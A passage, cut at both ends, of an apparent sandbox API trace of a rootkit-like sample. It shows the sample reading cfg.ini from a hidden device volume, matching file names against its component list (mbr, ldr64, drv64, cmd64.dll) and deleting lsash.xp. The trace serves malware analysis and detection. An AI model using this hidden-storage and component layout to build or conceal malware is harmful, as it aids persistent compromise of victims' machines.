FastMutex=0xfffffa80027d3898) [0123.926] KeLeaveCriticalRegion () [0123.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.926] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.926] KeEnterCriticalRegion () [0123.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.926] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b3000 [0123.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.926] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.926] IdePortDispatch () returned 0x103 [0123.926] KeWaitForMutexObject () returned 0x0 [0123.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.927] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.927] IdePortDispatch () returned 0x103 [0123.927] KeWaitForMutexObject () returned 0x0 [0123.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.927] KeLeaveCriticalRegion () [0123.927] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.928] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.928] KeEnterCriticalRegion () [0123.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.928] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.928] KeLeaveCriticalRegion () [0123.928] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.928] KeEnterCriticalRegion () [0123.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.928] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.928] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.928] KeLeaveCriticalRegion () [0123.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.928] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.928] KeEnterCriticalRegion () [0123.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.928] ExFreePoolWithTag (P=0xfffffa8003bc6810, Tag=0x0) [0123.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.928] KeLeaveCriticalRegion () [0123.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.928] ReleaseMutex (hMutex=0xf0) returned 1 [0123.928] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.928] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.928] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.928] KeEnterCriticalRegion () [0123.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.928] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.928] IdePortDispatch () returned 0x103 [0123.928] KeWaitForMutexObject () returned 0x0 [0123.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.929] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.929] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.929] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.929] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.929] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee720 [0123.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.929] KeLeaveCriticalRegion () [0123.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.929] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.929] KeEnterCriticalRegion () [0123.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.929] KeLeaveCriticalRegion () [0123.929] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.929] KeEnterCriticalRegion () [0123.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.929] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.929] IdePortDispatch () returned 0x103 [0123.929] KeWaitForMutexObject () returned 0x0 [0123.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.929] KeLeaveCriticalRegion () [0123.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.930] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.930] KeEnterCriticalRegion () [0123.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.930] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b4000 [0123.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.930] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.930] IdePortDispatch () returned 0x103 [0123.930] KeWaitForMutexObject () returned 0x0 [0123.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.930] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.930] IdePortDispatch () returned 0x103 [0123.930] KeWaitForMutexObject () returned 0x0 [0123.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.930] KeLeaveCriticalRegion () [0123.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.931] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.931] KeEnterCriticalRegion () [0123.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.931] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.931] KeLeaveCriticalRegion () [0123.931] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.931] KeEnterCriticalRegion () [0123.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.931] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.931] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003826290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.932] KeLeaveCriticalRegion () [0123.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.932] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.932] KeEnterCriticalRegion () [0123.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.932] ExFreePoolWithTag (P=0xfffffa8003bee720, Tag=0x0) [0123.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.932] KeLeaveCriticalRegion () [0123.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.932] ReleaseMutex (hMutex=0xf0) returned 1 [0123.932] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.932] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.932] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.932] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.932] KeEnterCriticalRegion () [0123.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.932] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.932] IdePortDispatch () returned 0x103 [0123.932] KeWaitForMutexObject () returned 0x0 [0123.933] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.933] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.933] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.933] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.933] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.933] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.933] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.933] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.933] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.933] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.933] KeLeaveCriticalRegion () [0123.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.933] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.933] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.933] KeEnterCriticalRegion () [0123.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.933] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.933] IdePortDispatch () returned 0x103 [0123.933] KeWaitForMutexObject () returned 0x0 [0123.933] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.934] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.934] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.934] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.934] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.934] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.934] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.934] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.934] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.934] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.934] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.934] KeLeaveCriticalRegion () [0123.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.934] ReleaseMutex (hMutex=0x100) returned 1 [0123.934] Sleep (dwMilliseconds=0x2bf20) [0123.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d122430, dwHighDateTime=0x1d24fa4)) [0123.941] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.941] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.941] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.941] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.941] KeEnterCriticalRegion () [0123.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.942] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.942] IdePortDispatch () returned 0x103 [0123.942] KeWaitForMutexObject () returned 0x0 [0123.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.942] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.942] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.942] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.942] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.942] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6810 [0123.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.942] KeLeaveCriticalRegion () [0123.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.942] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.942] KeEnterCriticalRegion () [0123.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.942] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.942] KeLeaveCriticalRegion () [0123.942] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.942] KeEnterCriticalRegion () [0123.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.942] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.942] IdePortDispatch () returned 0x103 [0123.942] KeWaitForMutexObject () returned 0x0 [0123.943] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.943] KeLeaveCriticalRegion () [0123.943] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.943] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.943] KeEnterCriticalRegion () [0123.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.943] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b7000 [0123.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.943] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.943] IdePortDispatch () returned 0x103 [0123.943] KeWaitForMutexObject () returned 0x0 [0123.943] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.943] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.943] IdePortDispatch () returned 0x103 [0123.943] KeWaitForMutexObject () returned 0x0 [0123.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.944] KeLeaveCriticalRegion () [0123.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.944] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.944] KeEnterCriticalRegion () [0123.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.944] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.944] KeLeaveCriticalRegion () [0123.944] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.944] KeEnterCriticalRegion () [0123.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.944] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.944] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.944] KeLeaveCriticalRegion () [0123.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.944] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.945] KeEnterCriticalRegion () [0123.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.945] ExFreePoolWithTag (P=0xfffffa8003bc6810, Tag=0x0) [0123.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.945] KeLeaveCriticalRegion () [0123.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.945] ReleaseMutex (hMutex=0xf0) returned 1 [0123.945] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.945] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.945] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.945] KeEnterCriticalRegion () [0123.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.945] IoAllocateIrp (StackSize=1, 